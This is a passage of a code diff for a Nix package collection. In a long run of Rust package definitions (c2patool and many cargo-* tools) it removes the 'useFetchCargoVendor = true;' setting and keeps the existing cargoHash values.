   cargoHash = "sha256-SJn00C7vkNoghdVPUszep40RSL8fD+/ELUeuf9GBD7c=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/c2/c2patool/package.nix b/pkgs/by-name/c2/c2patool/package.nix
index 1448d1cefcb0..e0cf68c438f0 100644
--- a/pkgs/by-name/c2/c2patool/package.nix
+++ b/pkgs/by-name/c2/c2patool/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-W9I7I4sukKBg4seRyn9iXoNhkRoSKcjbpjgZjvQKCGw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-C5PkwMfP/MyO8QlQk0DwkU2Z/u/FdJIvwpE3gseUG/Q=";
 
   # use the non-vendored openssl
diff --git a/pkgs/by-name/ca/cached-nix-shell/package.nix b/pkgs/by-name/ca/cached-nix-shell/package.nix
index 7deab6ea8cae..af6394ac5543 100644
--- a/pkgs/by-name/ca/cached-nix-shell/package.nix
+++ b/pkgs/by-name/ca/cached-nix-shell/package.nix
@@ -25,7 +25,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-LI/hecqeRg3eCzU2bASJA8VoG4nvrSeHSeaGYn7M/UI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Rl+PgNr29OAl6P/iUfkuFlQycyeYNmxUIIdigk7PgV4=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ca/cairo-lang/package.nix b/pkgs/by-name/ca/cairo-lang/package.nix
index 8b279efeed57..5773ec07e673 100644
--- a/pkgs/by-name/ca/cairo-lang/package.nix
+++ b/pkgs/by-name/ca/cairo-lang/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-VOyqKeiPJ3/VOqcdQXC/rZnTriC2ScmAQ4IlouHjvpI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-e2Nire1TLcliq5KxoINJIZJdgohHRTXqIZPj1GNIe2A=";
 
   # openssl crate requires perl during build process
diff --git a/pkgs/by-name/ca/caligula/package.nix b/pkgs/by-name/ca/caligula/package.nix
index 5cb58eb82b24..79412e36f1f9 100644
--- a/pkgs/by-name/ca/caligula/package.nix
+++ b/pkgs/by-name/ca/caligula/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-VwbVDfiGiVFefsxoQ1FBDHyYLp0sOKnnVZctklyO+Tw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-kTVmwfUNDibYGsHGQvtZiBiHyyotkHMhTY/dvaATy8k=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ca/capnproto-rust/package.nix b/pkgs/by-name/ca/capnproto-rust/package.nix
index f14f53b4c991..3a4321876f03 100644
--- a/pkgs/by-name/ca/capnproto-rust/package.nix
+++ b/pkgs/by-name/ca/capnproto-rust/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-QI38Xy0zgL+sgH1WaOL2eMcQdOPPHE9Dcucs42eaL2o=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Oljyv9qCfZF2/CoHNqs9bvCAEfGpmfvNzTvvyaVMH2U=";
 
   postInstall = ''
diff --git a/pkgs/by-name/ca/cargo-3ds/package.nix b/pkgs/by-name/ca/cargo-3ds/package.nix
index 01bd90334b72..9aa6fc65432c 100644
--- a/pkgs/by-name/ca/cargo-3ds/package.nix
+++ b/pkgs/by-name/ca/cargo-3ds/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-APi1K5LtdHFI5kjPfZUOFcsZ/xoQixjKq5xZxwlW9CE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-2JpBm0ahgiL4KSM4J/nQRbdo3MDZgZj6EDg7Jr5ZanA=";
 
   # Integration tests do not run in Nix build environment due to needing to
diff --git a/pkgs/by-name/ca/cargo-about/package.nix b/pkgs/by-name/ca/cargo-about/package.nix
index ca43b5ba79cb..766b84a99f7d 100644
--- a/pkgs/by-name/ca/cargo-about/package.nix
+++ b/pkgs/by-name/ca/cargo-about/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-h5+Fp6+yGa1quJENsCv6WE4NC2A+ceIGMXVWyeTPPLQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-JTcRYdBZdXxM7r+XZSbFaAeWrJ5HULM1YE3p3smRW/Q=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ca/cargo-all-features/package.nix b/pkgs/by-name/ca/cargo-all-features/package.nix
index 01560a45253a..ca59de7c8bfd 100644
--- a/pkgs/by-name/ca/cargo-all-features/package.nix
+++ b/pkgs/by-name/ca/cargo-all-features/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-/w3Xd7PXUNtqzRYmUqJtth+GDuXSnsk1NiYCTYsHuAQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-OgVeAuC36mP8rv4+XHsrOe7KKnpQ/u0M3g91NE0u98A=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ca/cargo-aoc/package.nix b/pkgs/by-name/ca/cargo-aoc/package.nix
index 059bf4e8fbe4..53872b744128 100644
--- a/pkgs/by-name/ca/cargo-aoc/package.nix
+++ b/pkgs/by-name/ca/cargo-aoc/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-5CjY91515GeLzmLJiGjfbBfIMPr32EA65X/rriKPWRY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-q0kpo6DNR+8129+vJSLoOC/bUYjlfaB77YTht6+kT00=";
 
   nativeInstallCheckInputs = [ versionCheckHook ];
diff --git a/pkgs/by-name/ca/cargo-apk/package.nix b/pkgs/by-name/ca/cargo-apk/package.nix
index 325ddb4439f6..b497382e9a11 100644
--- a/pkgs/by-name/ca/cargo-apk/package.nix
+++ b/pkgs/by-name/ca/cargo-apk/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-1vCrM+0SNefd7FrRXnSjLhM3/MSVJfcL4k1qAstX+/A=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-8qjj5rcaqXBIte8+r0llj33Saat85SqNljGRaS1E3q0=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ca/cargo-audit/package.nix b/pkgs/by-name/ca/cargo-audit/package.nix
index 278182395abf..42ad510269cf 100644
--- a/pkgs/by-name/ca/cargo-audit/package.nix
+++ b/pkgs/by-name/ca/cargo-audit/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-bRBQpZ0YoKDh959a1a7+qEs2vh+dbP8vYcwbkNZQ5cQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-MIwKgQM3LoNV9vcs8FfxTzqXhIhLkYd91dMEgPH++zk=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ca/cargo-autoinherit/package.nix b/pkgs/by-name/ca/cargo-autoinherit/package.nix
index f444b846eb5f..a191477056bb 100644
--- a/pkgs/by-name/ca/cargo-autoinherit/package.nix
+++ b/pkgs/by-name/ca/cargo-autoinherit/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-A4Ooqt/Cb8yyc4Y9DKZuFEVUux1ot+IVkPsSDylM6G4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-TUW0DdTVNrFpRaTGWM9XD0kW1CjmSAfWrbZxFGn1jJw=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ca/cargo-bazel/package.nix b/pkgs/by-name/ca/cargo-bazel/package.nix
index 9816cd19f6fc..7eda34f8ef75 100644
--- a/pkgs/by-name/ca/cargo-bazel/package.nix
+++ b/pkgs/by-name/ca/cargo-bazel/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
 
   buildInputs = lib.optional stdenv.isDarwin libz;
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-E/yF42Vx9tv8Ik1j23El3+fI19ZGzq6nikVMATY7m3E=";
 
   # `test_data` is explicitly excluded from the package published to crates.io, so tests cannot be run
diff --git a/pkgs/by-name/ca/cargo-benchcmp/package.nix b/pkgs/by-name/ca/cargo-benchcmp/package.nix
index 98607fe755ff..f1db1a74b5d3 100644
--- a/pkgs/by-name/ca/cargo-benchcmp/package.nix
+++ b/pkgs/by-name/ca/cargo-benchcmp/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-J8KFI0V/mOhUlYtVnFAQgPIpXL9/dLhOFxSly4bR00I=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Dpn3MbU56zX4vibG0pw5LuQEwvC6Uqzse1GCRHWyAEw=";
 
   patches = [
diff --git a/pkgs/by-name/ca/cargo-binstall/package.nix b/pkgs/by-name/ca/cargo-binstall/package.nix
index 22ffe6b66a08..c182fb94dcd3 100644
--- a/pkgs/by-name/ca/cargo-binstall/package.nix
+++ b/pkgs/by-name/ca/cargo-binstall/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-rojiGrWUG0zk506HzwHLB1L5oJCHNUscdl6ogzFE5gk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-+G9L5eMLQsgO5GIRU1BQkr5OwEOYPXCtSAah8l9wwr8=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ca/cargo-binutils/package.nix b/pkgs/by-name/ca/cargo-binutils/package.nix
index 5062f8730f8f..05c8e03a74af 100644
--- a/pkgs/by-name/ca/cargo-binutils/package.nix
+++ b/pkgs/by-name/ca/cargo-binutils/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-tRh3+X6QCdkkJE1O60ZRkDBRbznGZ1aB1AOmcz0EINI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-QdW0HiVhKFuXj7hWZw1lkrFmvVIqbeMKRF2qnBX9wRI=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ca/cargo-bisect-rustc/package.nix b/pkgs/by-name/ca/cargo-bisect-rustc/package.nix
index fd690616a5bf..a38614fb9e55 100644
--- a/pkgs/by-name/ca/cargo-bisect-rustc/package.nix
+++ b/pkgs/by-name/ca/cargo-bisect-rustc/package.nix
@@ -44,7 +44,6 @@ rustPlatform.buildRustPackage rec {
 
   buildInputs = [ openssl ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-SigRm2ZC7jH1iCEGRpka1G/e9kBEieFVU0YDBl2LfTM=";
 
   checkFlags = [
diff --git a/pkgs/by-name/ca/cargo-bitbake/package.nix b/pkgs/by-name/ca/cargo-bitbake/package.nix
index d2aa69377924..7db2d6326592 100644
--- a/pkgs/by-name/ca/cargo-bitbake/package.nix
+++ b/pkgs/by-name/ca/cargo-bitbake/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
   nativeBuildInputs = [ pkg-config ];
   buildInputs = [ openssl ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-drupV59sBuR6AZ7jVO2EJn62I6XX5vv3QR+Mu8cLklk=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ca/cargo-bloat/package.nix b/pkgs/by-name/ca/cargo-bloat/package.nix
index fc82a2f38e47..d2b781cffdc8 100644
--- a/pkgs/by-name/ca/cargo-bloat/package.nix
+++ b/pkgs/by-name/ca/cargo-bloat/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-B71VX7cJe1giOLmk3cQE8Zxr7fKGyQkoXRuM+NzBcb8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-8Omw8IsmoFYPBB6q1EAAbcBhTjBWfCChV2MhX9ImY8Y=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ca/cargo-bolero/package.nix b/pkgs/by-name/ca/cargo-bolero/package.nix
index 547eb68f1078..a673292503de 100644
--- a/pkgs/by-name/ca/cargo-bolero/package.nix
+++ b/pkgs/by-name/ca/cargo-bolero/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-xU7a5xEFSrFsQ1K5DIYgACuf+34QeCvGmWvlSSwI03I=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-FMpM42D3h42NfDzH+EVs6NB2RVehFNFAYTMvzRQVt/s=";
 
   buildInputs = [
diff --git a/pkgs/by-name/ca/cargo-bootimage/package.nix b/pkgs/by-name/ca/cargo-bootimage/package.nix
index 346c408d7021..75616ea2abcf 100644
--- a/pkgs/by-name/ca/cargo-bootimage/package.nix
+++ b/pkgs/by-name/ca/cargo-bootimage/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "12p18mk3l473is3ydv3zmn6s7ck8wgjwavllimcpja3yjilxm3zg";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-CkFJHW7yrIJi/KMGJgyhnLTMkrxnDwO3X4M1aml9cuM=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ca/cargo-bump/package.nix b/pkgs/by-name/ca/cargo-bump/package.nix
index d1985e7a460f..dbba28d4c8dc 100644
--- a/pkgs/by-name/ca/cargo-bump/package.nix
+++ b/pkgs/by-name/ca/cargo-bump/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-PhA7uC2gJcBnUQPWgZC51p/KTSxSGld3m+dd6BhW6q8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-5UyG/zGF+D5DOYWLiJPnGjAsr7e8xz+e4YUoZYerz80=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ca/cargo-bundle-licenses/package.nix b/pkgs/by-name/ca/cargo-bundle-licenses/package.nix
index d56c65f42581..f286cc526ec4 100644
--- a/pkgs/by-name/ca/cargo-bundle-licenses/package.nix
+++ b/pkgs/by-name/ca/cargo-bundle-licenses/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-pTxZ9s8ZccylMfEiifYmJuBB+riZ37QJSAMpVuSgLzs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-4zolwQzK6dnFIcS2NwuxYZRS2AGcUGHh+KQzDkI0J6c=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ca/cargo-bundle/package.nix b/pkgs/by-name/ca/cargo-bundle/package.nix
index 3001f1ae4020..4370667d428a 100644
--- a/pkgs/by-name/ca/cargo-bundle/package.nix
+++ b/pkgs/by-name/ca/cargo-bundle/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-n+c83pmCvFdNRAlcadmcZvYj+IRqUYeE8CJVWWYbWDQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-g898Oelrk/ok52raTEDhgtQ9psc0PFHd/uNnk1QeXCs=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ca/cargo-c/package.nix b/pkgs/by-name/ca/cargo-c/package.nix
index 1b69a994bead..999e823d9dd2 100644
--- a/pkgs/by-name/ca/cargo-c/package.nix
+++ b/pkgs/by-name/ca/cargo-c/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-ltxd4n3oo8ZF/G/zmR4FSVtNOkxwCjDv6PdxkmWxZ+8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-tCJ7Giyj7Wqowhk0N7CkvAiWvF6DBNw7G7aAnn2+mp8=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ca/cargo-cache/package.nix b/pkgs/by-name/ca/cargo-cache/package.nix
index 90fd9685b3d7..0be2d7766cab 100644
--- a/pkgs/by-name/ca/cargo-cache/package.nix
+++ b/pkgs/by-name/ca/cargo-cache/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-q9tYKXK8RqiqbDZ/lTxUI1Dm/h28/yZR8rTQuq+roZs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-cwTHJ5Cd17ur8AhEQb8FTS0mcgqg83VGjvCQP00JY6s=";
 
   buildInputs = lib.optionals stdenv.hostPlatform.isDarwin [
diff --git a/pkgs/by-name/ca/cargo-careful/package.nix b/pkgs/by-name/ca/cargo-careful/package.nix
index 8d168b4f9961..f2337f8c5f4f 100644
--- a/pkgs/by-name/ca/cargo-careful/package.nix
+++ b/pkgs/by-name/ca/cargo-careful/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-dalsBILFZzVHBIhGGIOUMSCWuM7xE46w91MbzCYa1Io=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Es5BT0jfyJXuw7TTtGRhI4PeplZgTYm6JhSxQiZ+6NE=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ca/cargo-chef/package.nix b/pkgs/by-name/ca/cargo-chef/package.nix
index fa193fa6cc23..2e580ef146e6 100644
--- a/pkgs/by-name/ca/cargo-chef/package.nix
+++ b/pkgs/by-name/ca/cargo-chef/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-ZbbRo+AAlh7sW1HROxHfmnDxchJRWUId3oh5wgPauuQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-/VqFs5wzKbnfZRfKERUGjuCj/H+o1iI/ioMPq/FugDo=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ca/cargo-clean-recursive/package.nix b/pkgs/by-name/ca/cargo-clean-recursive/package.nix
index 36599a86030f..118e85cffaeb 100644
--- a/pkgs/by-name/ca/cargo-clean-recursive/package.nix
+++ b/pkgs/by-name/ca/cargo-clean-recursive/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     sha256 = "sha256-9+FqRvd0s9N7mQwIf+f3+vBhaa0YQWUR0j0lv4CBOkM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-KIoRsCy/Cei1YM/94kUcgI2Twgi8kEFVNiUM+sCPMyo=";
 
   nativeBuildInputs = [ makeWrapper ];
diff --git a/pkgs/by-name/ca/cargo-clone/package.nix b/pkgs/by-name/ca/cargo-clone/package.nix
index a67332aa956c..4a615cb75c14 100644
--- a/pkgs/by-name/ca/cargo-clone/package.nix
+++ b/pkgs/by-name/ca/cargo-clone/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-kK0J1Vfx1T17CgZ3DV9kQbAUxk4lEfje5p6QvdBS5VQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-IbNwlVKGsi70G+ATimRZbHbW91vFddQl//dfAM6JO8I=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ca/cargo-codspeed/package.nix b/pkgs/by-name/ca/cargo-codspeed/package.nix
index ab6749d0a401..2354c53f9d62 100644
--- a/pkgs/by-name/ca/cargo-codspeed/package.nix
+++ b/pkgs/by-name/ca/cargo-codspeed/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-eKZDoOI9mbJC6lbO6Q8tTMj5RtHqOs9YCvTmn7/I/9w=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-JX6Y7qh3cyGPqBRfFvUM/sNx5aoMappQcnlPTFWTH2w=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ca/cargo-component/package.nix b/pkgs/by-name/ca/cargo-component/package.nix
index 8deaf38fa346..27fafe35c6b5 100644
--- a/pkgs/by-name/ca/cargo-component/package.nix
+++ b/pkgs/by-name/ca/cargo-component/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-pW3hhcsMzKSWmUX8HwAtZCB+v9B4qXw6WUGODhPtW+Q=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Vnef3ApklZtN417dXhA+YWcsAeSTDSt6wA+7SjBKHm0=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ca/cargo-cranky/package.nix b/pkgs/by-name/ca/cargo-cranky/package.nix
index d99831848cb4..22b518fb9157 100644
--- a/pkgs/by-name/ca/cargo-cranky/package.nix
+++ b/pkgs/by-name/ca/cargo-cranky/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-3ARl3z+2nz05UaKf8ChN6mvPY2qMjUNxGnGJ1P0xkas=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-m9n2YyrMpuz/X/kvHgn+g4w9/Pg+n6VnnfwjaOnyPvY=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ca/cargo-crev/package.nix b/pkgs/by-name/ca/cargo-crev/package.nix
index 93425cc26597..b9eba7e93b67 100644
--- a/pkgs/by-name/ca/cargo-crev/package.nix
+++ b/pkgs/by-name/ca/cargo-crev/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-tuOFanGmIRQs0whXINplfHNyKBhJ1QGF+bBVxqGX/yU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-CmDTNE0nn2BxB//3vE1ao+xnzA1JBhIQdqcQNWuIKHU=";
 
   preCheck = ''
diff --git a/pkgs/by-name/ca/cargo-criterion/package.nix b/pkgs/by-name/ca/cargo-criterion/package.nix
index 5a33f8caacf7..6b468474e150 100644
--- a/pkgs/by-name/ca/cargo-criterion/package.nix
+++ b/pkgs/by-name/ca/cargo-criterion/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-RPix9DM6E32PhObvV3xPGrnXrrVHn3auxLUhysP8GM0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-D0Exfm6NRRedncDAgC3MgfagzsM0Dsc7X0i9arYYOgc=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ca/cargo-cross/package.nix b/pkgs/by-name/ca/cargo-cross/package.nix
index 70ecd4445845..537805c7e057 100644
--- a/pkgs/by-name/ca/cargo-cross/package.nix
+++ b/pkgs/by-name/ca/cargo-cross/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-TFPIQno30Vm5m2nZ2b3d0WPu/98UqANLhw3IZiE5a38=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-omk9UqijrQQ49AYEQjJ+iTT1M0GW7gJD+oG8xAL243A=";
 
   checkFlags = [
diff --git a/pkgs/by-name/ca/cargo-cyclonedx/package.nix b/pkgs/by-name/ca/cargo-cyclonedx/package.nix
index 2c77ee4e097d..d33e3b8bb700 100644
--- a/pkgs/by-name/ca/cargo-cyclonedx/package.nix
+++ b/pkgs/by-name/ca/cargo-cyclonedx/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-T/9eHI2P8eCZAqMTeZz1yEi5nljQWfHrdNiU3h3h74U=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-deczbMPeJsnmXbVB60stKhJJZRIIwjY5vExS3x3b6aU=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ca/cargo-deadlinks/package.nix b/pkgs/by-name/ca/cargo-deadlinks/package.nix
index 32a9987b2662..f06a99716260 100644
--- a/pkgs/by-name/ca/cargo-deadlinks/package.nix
+++ b/pkgs/by-name/ca/cargo-deadlinks/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "0s5q9aghncsk9834azn5cgnn5ms3zzyjan2rq06kaqcgzhld4cjh";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-d5e5CpO/c6KrIQE8dJqXT19Qe0CRbIqgCDHNWz4TK8Q=";
 
   checkFlags = [
diff --git a/pkgs/by-name/ca/cargo-deb/package.nix b/pkgs/by-name/ca/cargo-deb/package.nix
index 14dbd2f002e5..a46e7b966653 100644
--- a/pkgs/by-name/ca/cargo-deb/package.nix
+++ b/pkgs/by-name/ca/cargo-deb/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Ov3rVfURzzZ6+YFq4Cqtoq5RQVHHjqvgkOcpsvAy1jc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-11l/9l1WD7vLHNOKFVOxcR4OI2ft1IrT5bRX77XS+BI=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ca/cargo-deny/package.nix b/pkgs/by-name/ca/cargo-deny/package.nix
index 6e8cf25fc729..6944a3e02f0d 100644
--- a/pkgs/by-name/ca/cargo-deny/package.nix
+++ b/pkgs/by-name/ca/cargo-deny/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-u93x0w6gSPxDCrp9bNJDCxLBZfh8EhXU4qvhklI4GKY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-3fCACetvO9KRjoTh3V41+vhWFjwaNtoHZ/Zh+Zxmxlc=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ca/cargo-depgraph/package.nix b/pkgs/by-name/ca/cargo-depgraph/package.nix
index 956aabcacd87..532c43065468 100644
--- a/pkgs/by-name/ca/cargo-depgraph/package.nix
+++ b/pkgs/by-name/ca/cargo-depgraph/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-yvcKRESX2W1oLmQvkl07iG8+I74qDKsaS3amM4pZU8s=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-5GFYp1ZEkmag2GfzHRz3QDYaURzbDKY9yTSznkxddnE=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ca/cargo-diet/package.nix b/pkgs/by-name/ca/cargo-diet/package.nix
index a8310189dc1e..3a8eeeed845e 100644
--- a/pkgs/by-name/ca/cargo-diet/package.nix
+++ b/pkgs/by-name/ca/cargo-diet/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-SuJ1H/2YfSVVigdgLUd9veMClI7ZT7xkkyQ4PfXoQdQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-crdRRlRi3H8j/ojGH+oqmaeSS8ee8dUALorZPWE/j1Y=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ca/cargo-dist/package.nix b/pkgs/by-name/ca/cargo-dist/package.nix
index 072522b8d476..ba1d4f8ad32f 100644
--- a/pkgs/by-name/ca/cargo-dist/package.nix
+++ b/pkgs/by-name/ca/cargo-dist/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-0mKCwb7nvl8BRtQyweItkMT0PrKRGTvpB9Acgro7QSM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Aoz+H817jeWkZt1NwcF5SVQsjbk4CRIhUQeq4A2nxM8=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ca/cargo-docset/package.nix b/pkgs/by-name/ca/cargo-docset/package.nix
index ac2195ee3cb0..21949853594b 100644
--- a/pkgs/by-name/ca/cargo-docset/package.nix
+++ b/pkgs/by-name/ca/cargo-docset/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-o2CSQiU9fEoS3eRmwphtYGZTwn3mstRm2Tlvval83+U=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-MHSvrZXh9RLuiLEc4IHPvtIKjdRjFhtmumPs4EuJtz0=";
 
   buildInputs = [ sqlite ];
diff --git a/pkgs/by-name/ca/cargo-duplicates/package.nix b/pkgs/by-name/ca/cargo-duplicates/package.nix
index e2fb19230887..a4955014c697 100644
--- a/pkgs/by-name/ca/cargo-duplicates/package.nix
+++ b/pkgs/by-name/ca/cargo-duplicates/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-JzS1+BHSCEcZM5MokbQsck/AGJ7EeSwbzjNz0uLQsgE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-58H6wFToCgW+J7QYXb6W6BiCFUVIG8MmxgZtWnPNkrI=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ca/cargo-edit/package.nix b/pkgs/by-name/ca/cargo-edit/package.nix
index 93b405e1c825..25f21bab4d5d 100644
--- a/pkgs/by-name/ca/cargo-edit/package.nix
+++ b/pkgs/by-name/ca/cargo-edit/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-gs7+OuW0av7p45+wgXVVS17YKTwIqDFQWc3kKE7y/Yw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-JafagbF+JCp3ATtGjlExLDUehYqO9DhI39uD4fLafsQ=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ca/cargo-embassy/package.nix b/pkgs/by-name/ca/cargo-embassy/package.nix
index 2ca2d86be880..7ada1b7a0330 100644
--- a/pkgs/by-name/ca/cargo-embassy/package.nix
+++ b/pkgs/by-name/ca/cargo-embassy/package.nix
@@ -28,7 +28,6 @@ rustPlatform.buildRustPackage {
   ];
 
   cargoHash = "sha256-iLGoc6CKZGlq9bw1sL0jCVm9lGa0i/BXiseU1USGjfQ=";
-  useFetchCargoVendor = true;
 
   meta = {
     description = "Command line tool for creating Embassy projects";
diff --git a/pkgs/by-name/ca/cargo-espmonitor/package.nix b/pkgs/by-name/ca/cargo-espmonitor/package.nix
